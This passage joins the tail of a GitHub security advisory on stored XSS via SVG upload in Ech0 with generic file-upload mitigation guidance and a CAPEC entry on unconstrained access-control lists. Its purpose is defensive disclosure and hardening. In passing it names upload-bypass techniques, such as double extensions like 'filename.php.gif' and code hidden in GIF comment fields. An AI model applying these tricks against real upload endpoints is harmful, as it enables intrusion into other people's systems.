sanitize SVGs to strip `\u003cscript\u003e` tags and event handlers before storage.\n\n**3. Add security headers** in `internal/router/middleware.go`:\n\n```go\nfunc SecurityHeaders() gin.HandlerFunc {\n return func(c *gin.Context) {\n c.Header(\"X-Content-Type-Options\", \"nosniff\")\n c.Header(\"Content-Security-Policy\", \"default-src \u0027self\u0027; script-src \u0027self\u0027\")\n c.Next()\n }\n}\n```\n\n**4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application\u0027s cookie scope.",
"id": "GHSA-69hx-63pv-f8f4",
"modified": "2026-04-10T19:50:01Z",
"published": "2026-04-10T19:50:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload"
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.